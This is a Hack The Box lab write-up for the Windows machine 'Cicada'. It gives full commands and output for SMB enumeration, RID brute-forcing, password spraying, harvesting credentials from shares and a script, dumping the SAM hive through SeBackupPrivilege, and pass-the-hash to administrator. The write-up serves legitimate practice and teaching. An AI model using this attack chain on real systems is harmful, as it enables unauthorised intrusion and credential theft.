

HTB - Cicada



Cicada

OS	RELEASE DATE	DIFFICULTY	POINTS
Windows	28 Sep 2024	Easy	20

```
└─$ sudo nmap -sC -sV -p- -Pn 10.129.24.124
```

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 19:19 CDT
```

```
Nmap scan report for 10.129.24.124
```

```
Host is up (0.074s latency).
```

```
Not shown: 65524 filtered tcp ports (no-response)
```

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2024-09-29 07:21:35Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain:

```
cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
636/tcp open ssl/ldap      Microsoft Windows Active Directory LDAP (Domain:
cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap          Microsoft Windows Active Directory LDAP (Domain:
cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
3269/tcp open ssl/ldap      Microsoft Windows Active Directory LDAP (Domain:
cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
5985/tcp open http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
```

```
|   date: 2024-09-29T07:22:16
|_  start_date: N/A
|  smb2-security-mode:
|    3:1:1:
|_    Message signing enabled and required
|_clock-skew: 6h59m58s
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 205.26 seconds

Taking a look at this machine, it appears that there are no alternative methods to collect information such as a website. This means Active Directory and SMB are the main targets. Attempting to log into SMB results in an error requiring authentication. One method is to check if the Guest account, that is normally deactivated, is active to read the share.

```
—(administrator@kali0)-[~/HTB/cicada]
└─$ crackmapexec smb 10.129.24.124 -u guest -p '' --shares
SMB          10.129.24.124  445    CICADA-DC      [*] Windows Server 2022
Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True)
(SMBv1:False)
SMB          10.129.24.124  445    CICADA-DC      [+] cicada.htb\guest:
SMB          10.129.24.124  445    CICADA-DC      [+] Enumerated shares
SMB          10.129.24.124  445    CICADA-DC      Share
Permissions   Remark
SMB          10.129.24.124  445    CICADA-DC      -----
-      -----
SMB          10.129.24.124  445    CICADA-DC      ADMIN$
Remote Admin
SMB          10.129.24.124  445    CICADA-DC      C$
Default share
SMB          10.129.24.124  445    CICADA-DC      DEV
SMB          10.129.24.124  445    CICADA-DC      HR          READ
SMB          10.129.24.124  445    CICADA-DC      IPC$        READ
Remote IPC
SMB          10.129.24.124  445    CICADA-DC      NETLOGON
Logon server share
SMB          10.129.24.124  445    CICADA-DC      SYSVOL
Logon server share
```

Testing the guest account, it looks like it can read information about the shares, which means it can be used to gather domain information as well. First, access to the HR share is available.

```
—(administrator@kali0)-[~/HTB/cicada]
└─$ smbclient \\\10.129.24.124\HR\ -U guest
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0  Thu Mar 14 07:29:09 2024
..               D           0  Thu Mar 14 07:21:29 2024
Notice from HR.txt      A       1266  Wed Aug 28 12:31:48 2024

4168447 blocks of size 4096. 328899 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (4.2
KiloBytes/sec) (average 4.2 KiloBytes/sec)
smb: \> exit
```

Looks like a Notice exists here.

```
cat Notice\ from\ HR.txt
```

Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our security protocols, it's essential that you change your default password to something unique and secure.

Your default password is: Cicada\$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change Password".
4. Follow the prompts to create a new password**. Make sure your new password

is strong, containing a mix of uppercase letters, lowercase letters, numbers, and special characters.

5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure. Please do not share your password with anyone, and ensure you use a complex password.

If you encounter any issues or need assistance with changing your password, don't hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the Cicada Corp team!

Best regards,
Cicada Corp

A nice default password. This can be used for password spraying once users are collected.

<https://medium.com/@e.escalante.jr/active-directory-workshop-brute-forcing-the-domain-server-using-crackmapexec-pt-6-feab1c43d970>

The article explains how to use the rid brute method to gather information on the domain.

```
—(administrator@kali0)-[~/HTB/cicada]
└─$ crackmapexec smb 10.129.24.124 -u guest -p '' --rid-brute
SMB          10.129.24.124  445    CICADA-DC    [*] Windows Server 2022
Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True)
(SMBv1:False)
SMB          10.129.24.124  445    CICADA-DC    [+] cicada.htb\guest:
SMB          10.129.24.124  445    CICADA-DC    [+] Brute forcing RIDs
SMB          10.129.24.124  445    CICADA-DC    498: CICADA\Enterprise
Read-only Domain Controllers (SidTypeGroup)
SMB          10.129.24.124  445    CICADA-DC    500: CICADA\Administrator
(SidTypeUser)
SMB          10.129.24.124  445    CICADA-DC    501: CICADA\Guest
(SidTypeUser)
SMB          10.129.24.124  445    CICADA-DC    502: CICADA\krbtgt
(SidTypeUser)
SMB          10.129.24.124  445    CICADA-DC    512: CICADA\Domain Admins
```

(SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	513: CICADA\Domain Users
(SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	514: CICADA\Domain Guests
(SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	515: CICADA\Domain
Computers (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	516: CICADA\Domain
Controllers (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	517: CICADA\Cert
Publishers (SidTypeAlias)				
SMB	10.129.24.124	445	CICADA-DC	518: CICADA\Schema Admins
(SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	519: CICADA\Enterprise
Admins (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	520: CICADA\Group Policy
Creator Owners (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	521: CICADA\Read-only
Domain Controllers (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	522: CICADA\Cloneable
Domain Controllers (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	525: CICADA\Protected
Users (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	526: CICADA\Key Admins
(SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	527: CICADA\Enterprise Key
Admins (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	553: CICADA\RAS and IAS
Servers (SidTypeAlias)				
SMB	10.129.24.124	445	CICADA-DC	571: CICADA\Allowed RODC
Password Replication Group (SidTypeAlias)				
SMB	10.129.24.124	445	CICADA-DC	572: CICADA\Denied RODC
Password Replication Group (SidTypeAlias)				
SMB	10.129.24.124	445	CICADA-DC	1000: CICADA\CICADA-DC\$
(SidTypeUser)				
SMB	10.129.24.124	445	CICADA-DC	1101: CICADA\DnsAdmins
(SidTypeAlias)				
SMB	10.129.24.124	445	CICADA-DC	1102:
CICADA\DnsUpdateProxy (SidTypeGroup)				
SMB	10.129.24.124	445	CICADA-DC	1103: CICADA\Groups

```

(SidTypeGroup)
SMB          10.129.24.124    445    CICADA-DC          1104: CICADA\john.smoulder
(SidTypeUser)
SMB          10.129.24.124    445    CICADA-DC          1105:
CICADA\sarah.dantelia (SidTypeUser)
SMB          10.129.24.124    445    CICADA-DC          1106:
CICADA\michael.wrightson (SidTypeUser)
SMB          10.129.24.124    445    CICADA-DC          1108:
CICADA\david.orelious (SidTypeUser)
SMB          10.129.24.124    445    CICADA-DC          1109: CICADA\Dev Support
(SidTypeGroup)
SMB          10.129.24.124    445    CICADA-DC          1601: CICADA\emily.oscars
(SidTypeUser)

```

This gives a list of users to attempt to password spray on.

```
./spray.sh -smb 10.129.24.124 users.txt password.txt 4 30 CICADA
```

Spray 2.1 the Password Sprayer by Jacob Wilkin(Greenwolf)

21:36:42 Spraying with password: Users Username

[*] user support%support Bad SMB2 (sign_algo_id=2) signature for message

```
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ....
```

```
[0000] 59 F3 D7 D3 61 77 35 EB 39 02 A2 15 80 1B D3 51  Y...aw5. 9.....Q
```

[*] user Dev%Dev Bad SMB2 (sign_algo_id=2) signature for message

```
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ....
```

```
[0000] FB 22 54 64 AD 66 E0 06 E4 57 19 1F EA CB 5F CA  ."Td.f.. .W...._.
```

[*] user Support%Support Bad SMB2 (sign_algo_id=2) signature for message

```
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ....
```

```
[0000] 71 5C F3 85 66 C5 2A 09 88 34 F4 4D 54 74 C5 FB  q\..f.*. .4.MTt..
```

[*] user support%Cicada\$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature for message

```
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ....
```

```
[0000] 87 1D B5 B6 64 E0 F8 E0 73 CA 22 F7 61 AC 9F 88  ....d... s.".a...
```

[*] user michael.wrightson%Cicada\$M6Corpb*@Lp#nZp!8 Account Name:

michael.wrightson, Authority Name: CICADA

[*] user Dev%Cicada\$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature for message

```
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ....
```

```

[0000] 70 FE CF 33 2A C0 C1 18 5A B2 99 58 70 ED 89 46 p..3*... Z..Xp..F
[*] user Support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] C3 5C 90 A5 24 4C BB 11 E2 CD 39 AA 05 3C D3 35 .\..$L.. ..9..<.5
[*] user support%support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 0A 07 8B 97 F7 4A 2B 1F 21 F6 D4 FD 13 63 4B 49 .....J+. !....cKI
[*] user Dev%Dev Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 58 EB 7A 20 AE 22 28 A4 FF C3 31 B3 09 21 F2 97 X.z ."(. ..1..!..
[*] user Support%Support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] A8 14 88 E7 D5 32 67 25 56 0D 30 5D F7 EC 4D A5 .....2g% V.0]..M.
[*] user support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 46 45 12 62 2F BA 02 BE 40 16 34 88 B6 17 0A 33 FE.b/... @.4....3
[*] user michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8 Account Name:
michael.wrightson, Authority Name: CICADA
[*] user Dev%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature for
message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 67 62 C7 DA E7 1C 84 A3 08 DE 95 07 B4 13 78 60 gb..... .....x`
[*] user Support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] DE 91 B4 28 2A 3E FE 6C D3 7D C5 0F 84 0D D6 BA ...(*>.l .}.
[*] user support%support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 9A 28 9E 49 69 FB 28 06 56 10 C3 62 BC 82 8C 65 .(.Ii.(. V..b...e
[*] user Dev%Dev Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 9E 86 02 63 21 35 E5 02 00 DE EB E3 6A B6 5E 28 ...c!5.. ....j.^(
[*] user Support%Support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] C3 B1 77 7E 1E 5F ED 87 F7 B5 ED 79 FD 6A 9B 3D ..w~._... ..y.j.=
21:36:45 Spraying with password: Cicada$M6Corpb*@Lp#nZp!8
[*] user support%support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....

```



```

[0000] 59 F3 D7 D3 61 77 35 EB 39 02 A2 15 80 1B D3 51 Y...aw5. 9.....Q
[*] user Dev%Dev Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] FB 22 54 64 AD 66 E0 06 E4 57 19 1F EA CB 5F CA ."Td.f.. .W...._
[*] user Support%Support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 71 5C F3 85 66 C5 2A 09 88 34 F4 4D 54 74 C5 FB q\..f.*. .4.MTt..
[*] user support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 87 1D B5 B6 64 E0 F8 E0 73 CA 22 F7 61 AC 9F 88 ....d... s."a...
[*] user michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8 Account Name:
michael.wrightson, Authority Name: CICADA
[*] user Dev%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature for
message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 70 FE CF 33 2A C0 C1 18 5A B2 99 58 70 ED 89 46 p..3*... Z..Xp..F
[*] user Support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] C3 5C 90 A5 24 4C BB 11 E2 CD 39 AA 05 3C D3 35 .\..$L.. ..9..<.5
[*] user support%support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 0A 07 8B 97 F7 4A 2B 1F 21 F6 D4 FD 13 63 4B 49 .....J+. !....cKI
[*] user Dev%Dev Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 58 EB 7A 20 AE 22 28 A4 FF C3 31 B3 09 21 F2 97 X.z ."( .1..!..
[*] user Support%Support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] A8 14 88 E7 D5 32 67 25 56 0D 30 5D F7 EC 4D A5 .....2g% V.0]..M.
[*] user support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 46 45 12 62 2F BA 02 BE 40 16 34 88 B6 17 0A 33 FE.b/... @.4....3
[*] user michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8 Account Name:
michael.wrightson, Authority Name: CICADA
[*] user Dev%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature for
message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 67 62 C7 DA E7 1C 84 A3 08 DE 95 07 B4 13 78 60 gb.....x`

```

```

[*] user Support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] DE 91 B4 28 2A 3E FE 6C D3 7D C5 0F 84 0D D6 BA ...(*>.l .}.....
[*] user support%support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 9A 28 9E 49 69 FB 28 06 56 10 C3 62 BC 82 8C 65 .(.Ii.(. V..b...e
[*] user Dev%Dev Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 9E 86 02 63 21 35 E5 02 00 DE EB E3 6A B6 5E 28 ...c!5.. ....j.^(
[*] user Support%Support Bad SMB2 (sign_algo_id=2) signature for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] C3 B1 77 7E 1E 5F ED 87 F7 B5 ED 79 FD 6A 9B 3D ..w~._... ..y.j.=
[*] user support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 80 96 A0 AC 73 A9 A5 6A E1 18 F6 E3 9B AB 42 B9 ....s..j .....B.
[*] user michael.wrightson%Cicada$M6Corpb*@Lp#nZp!8 Account Name:
michael.wrightson, Authority Name: CICADA
[*] user Dev%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature for
message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] 5C 17 E0 61 30 75 17 C7 3C 37 27 FB 25 72 F7 6B \..a0u.. <7'.'%r.k
[*] user Support%Cicada$M6Corpb*@Lp#nZp!8 Bad SMB2 (sign_algo_id=2) signature
for message
[0000] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
[0000] EF 95 6D FF 16 E2 E9 55 D6 BB 6D 64 41 37 E0 9B ..m....U ..mdA7..

```

User michael.wrightson uses the default password. No additional permissions are give for this account. The account can be used to gather all user accounts and their descriptions.

```

—(administrator@kali0)-[~/HTB/cicada]
└─$ crackmapexec smb 10.129.24.124 -u michael.wrightson -p
'Cicada$M6Corpb*@Lp#nZp!8' --users
SMB          10.129.24.124    445      CICADA-DC      [*] Windows Server 2022
Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True)
(SMBv1:False)
SMB          10.129.24.124    445      CICADA-DC      [+]
cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8

```

SMB	10.129.24.124	445	CICADA-DC	[+] Enumerated domain user(s)
SMB	10.129.24.124	445	CICADA-DC	cicada.htb\emily.oscars badpwdcount: 7 desc:
SMB	10.129.24.124	445	CICADA-DC	cicada.htb\david.orelious badpwdcount: 7 desc: Just in case I forget my password is aRt\$Lp#7t*VQ!3
SMB	10.129.24.124	445	CICADA-DC	cicada.htb\michael.wrightson badpwdcount: 0 desc:
SMB	10.129.24.124	445	CICADA-DC	cicada.htb\sarah.dantelia badpwdcount: 7 desc:
SMB	10.129.24.124	445	CICADA-DC	cicada.htb\john.smoulder badpwdcount: 7 desc:
SMB	10.129.24.124	445	CICADA-DC	cicada.htb\krbtgt badpwdcount: 0 desc: Key Distribution Center Service Account
SMB	10.129.24.124	445	CICADA-DC	cicada.htb\Guest badpwdcount: 0 desc: Built-in account for guest access to the computer/domain
SMB	10.129.24.124	445	CICADA-DC	cicada.htb\Administrator badpwdcount: 5 desc: Built-in account for administering the computer/domain

A password for david.orelious can be found in the description.

```

└─(administrator@kali0)-[~/HTB/cicada]
└─$ smbclient \\\10.129.24.124\DEV\ -U 'david.orelious'
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> dir
.                D                0   Thu Mar 14 07:31:39 2024
..               D                0   Thu Mar 14 07:21:29 2024
Backup_script.ps1 A                601  Wed Aug 28 12:28:22 2024

4168447 blocks of size 4096. 327123 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.9
KiloBytes/sec) (average 1.9 KiloBytes/sec)
smb: \> exit

```

Testing the account, more permissions are provided and the DEV share is now accessible.

```
(administrator@kali0)-[~/HTB/cicada]
└─$ cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username,
$password)
$dateStamp = Get-Date -Format "yyyyMMdd_HH:mm:ss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath
$backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to:
$backupFilePath"
```

Reading the backup script provides the password for the emily.oscars account. Testing the account with winrm in crackmapexec, access is provided. Using evil-winrm, a shell is achieved.

```
(administrator@kali0)-[~/HTB/cicada]
└─$ evil-winrm -i 10.129.24.124 -u emily.oscars
Enter Password:

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> whoami /priv

PRIVILEGES INFORMATION
-----
```

Privilege Name	Description	State
=====	=====	=====
SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

The user has the SeBackupPrivilege role.

<https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/>

This can be used to backup the SAM and System to be cracked.

```
*Evil-WinRM* PS C:\> dir

Directory: C:\

Mode                LastWriteTime         Length Name
----                -
d-----          8/22/2024   11:45 AM             PerfLogs
d-r---          8/29/2024   12:32 PM             Program Files
d-----          5/8/2021    2:40 AM             Program Files (x86)
d-----          3/14/2024    5:21 AM             Shares
d-r---          8/26/2024    1:11 PM             Users
d-----          9/23/2024    9:35 AM             Windows

*Evil-WinRM* PS C:\> mkdir temp

Directory: C:\

Mode                LastWriteTime         Length Name
----                -
d-----          9/29/2024    4:51 AM             temp
```

```
*Evil-WinRM* PS C:\> cd temp
*Evil-WinRM* PS C:\temp> reg save hklm\sam C:\temp\sam
The operation completed successfully.

*Evil-WinRM* PS C:\temp> reg save hklm\system c:\temp\system
The operation completed successfully.

*Evil-WinRM* PS C:\temp> dir
```

Directory: C:\temp

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-a----	9/29/2024 4:51 AM	49152	sam
-a----	9/29/2024 4:52 AM	18661376	system

```
Evil-WinRM* PS C:\temp> download sam

Info: Downloading C:\temp\sam to sam

Info: Download successful!
*Evil-WinRM* PS C:\temp> download system

Info: Downloading C:\temp\system to system

Info: Download successful!
*Evil-WinRM* PS C:\temp> exit
```

Downloading the SAM and system allows for impacket-secretsdump to be used.

```
—(administrator@kali0)-[~/HTB/cicada]
└─$ impacket-secretsdump -sam sam -system system local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
```

```
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account
doesn't have hash information.
[*] Cleaning up...
```

The administrator account hash is provided. This can be used in a pass-the-hash attack to give us a shell as administrator.

```
└─$ evil-winrm -i 10.129.24.124 -u administrator -H
2b87e7c93a3e8a0ea4a581937016f341
```

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
<https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\Administrator\Documents> cd ..
Evil-WinRM PS C:\Users\Administrator> dir

Directory: C:\Users\Administrator

Mode	LastWriteTime	Length	Name
----	-----	-----	----
d-r---	3/14/2024 3:45 AM		3D Objects
d-r---	3/14/2024 3:45 AM		Contacts
d-r---	8/30/2024 10:06 AM		Desktop
d-r---	3/14/2024 10:20 PM		Documents
d-r---	3/14/2024 3:45 AM		Downloads

d-r---	3/14/2024	3:45 AM	Favorites
d-r---	3/14/2024	3:45 AM	Links
d-r---	3/14/2024	3:45 AM	Music
d-r---	3/14/2024	3:45 AM	Pictures
d-r---	3/14/2024	3:45 AM	Saved Games
d-r---	3/14/2024	3:45 AM	Searches
d-r---	3/14/2024	3:45 AM	Videos

```
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
```

Directory: C:\Users\Administrator\Desktop

Mode	LastWriteTime	Length	Name
----	-----	-----	----
-ar---	9/28/2024 9:43 PM	34	root.txt

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> more root.txt
7cf70ab9bac4cf7ba18be8289934aed5
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> exit
```